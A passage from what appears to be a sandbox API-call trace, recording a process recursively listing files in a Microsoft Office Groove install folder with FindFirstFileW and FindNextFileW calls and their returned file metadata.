cAlternateFileName="GFSERR~2.ICO")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddee4300, ftCreationTime.dwHighDateTime=0x1c9dff9, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xddee4300, ftLastWriteTime.dwHighDateTime=0x1c9dff9, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="MESSAG~2.ICO")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="MESSAG~1.ICO")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="MESSAG~3.ICO")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1608e400, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1608e400, ftLastWriteTime.dwHighDateTime=0x1ca03f6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="MODIFI~1.ICO")) returned 1 [0204.230] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x596e79b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="ONLINE~2.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="ONLINE~1.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="OUTDOM~1.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="OUTSYN~1.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cdd7370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="PERSON~1.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="SESSIO~1.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="SESSIO~2.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="SPACES~1.ICO")) returned 1 [0204.231] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="STATUS~1.ICO")) returned 1 [0204.232] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="STATUS~2.ICO")) returned 1 [0204.232] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="STATUS~3.ICO")) returned 1 [0204.232] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1 [0204.232] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1 [0204.232] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 1 [0204.232] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 0 [0204.232] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0204.233] GetProcessHeap () returned 0x550000 [0204.234] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0204.235] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0204.236] GetProcessHeap () returned 0x550000 [0204.236] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0204.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0204.323] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.323] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x0, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="BUILTI~1.XSD")) returned 1 [0204.323] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x537646f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="grvschema.xsd", cAlternateFileName="GRVSCH~1.XSD")) returned 1 [0204.323] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Messenger.xml", cAlternateFileName="MESSEN~1.XML")) returned 1 [0204.323] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Space Templates", cAlternateFileName="SPACET~1")) returned 1 [0204.323] GetProcessHeap () returned 0x550000 [0204.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0204.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0204.448] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.448] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0204.448] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0204.448] GetProcessHeap () returned 0x550000 [0204.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0204.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0204.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4061200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4061200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b875, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterNotificationDescriptors.xml", cAlternateFileName="STARTE~3.XML")) returned 1 [0204.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 1 [0204.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 0 [0204.449] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0204.449] GetProcessHeap () returned 0x550000 [0204.449] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0204.449] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0204.450] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0204.450] GetProcessHeap () returned 0x550000 [0204.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0204.450] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0204.450] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0204.451] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, 